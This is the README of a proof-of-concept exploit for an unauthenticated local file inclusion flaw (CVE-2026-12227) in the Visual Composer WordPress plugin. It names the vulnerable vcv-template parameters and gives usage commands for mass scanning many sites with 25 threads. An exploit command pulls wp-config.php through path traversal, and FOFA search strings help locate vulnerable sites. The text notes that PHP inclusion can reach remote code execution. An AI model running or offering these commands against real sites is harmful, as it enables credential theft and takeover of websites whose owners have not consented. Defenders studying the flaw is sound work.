CVE-2026-12227 — Visual Composer Website Builder Unauthenticated LFI

Python 3 PoC for CVE-2026-12227 (Wordfence): Local File Inclusion via the vcv-template query parameter in Visual Composer Website Builder (visualcomposer on wordpress.org).

Summary

On vulnerable versions, public page loads honor attacker-controlled vcv-template (with vcv-template-type) during WordPress template_include handling inside PageTemplatesController. That can include attacker-chosen files on disk; PHP files may execute (RCE). Wordfence notes chains with uploaded “safe” extensions in some setups.

Attack surface

• Needs plugin installed and a front-end page built with VC (normal permalink).
• Probe adds query params, e.g. ?vcv-template-type=vc&vcv-template=blank or LFI paths under vcv-template.
• Related params: vcv-template-type, vcv-template-stretched.

Requirements

pip install -r requirements.txt

Python 3.8+.

Usage

# Version + plugin + VC page crawl + template/LFI probes
python poc.py -u https://target.example --mode check

# Known VC landing page
python poc.py -u https://target.example --mode check --page-url /

# Mass scan
python poc.py --list targets.example.txt --mode check --threads 25 --quiet

# Custom include path (authorized testing only)
python poc.py -u https://target.example --mode exploit --page-url / --file ../../../../../../wp-config.php

# JSON for scripting
python poc.py -u https://target.example --mode check --json

Output

Status values

FOFA hints

body="/wp-content/plugins/visualcomposer/"
body="data-vcv-" && body="wp-content"

Technical notes

• Code path: visualcomposer/Modules/Editors/Settings/PageTemplatesController.php (getCurrentTemplateLayout, viewPageTemplate).
• Check treats param control or LFI markers as exploitable_candidate; confirm on a staging clone before assuming RCE.
• Premium TemplateFilter / theme-builder addons may widen reachable paths on some sites.

Legal

Use only on systems you own or have explicit permission to test.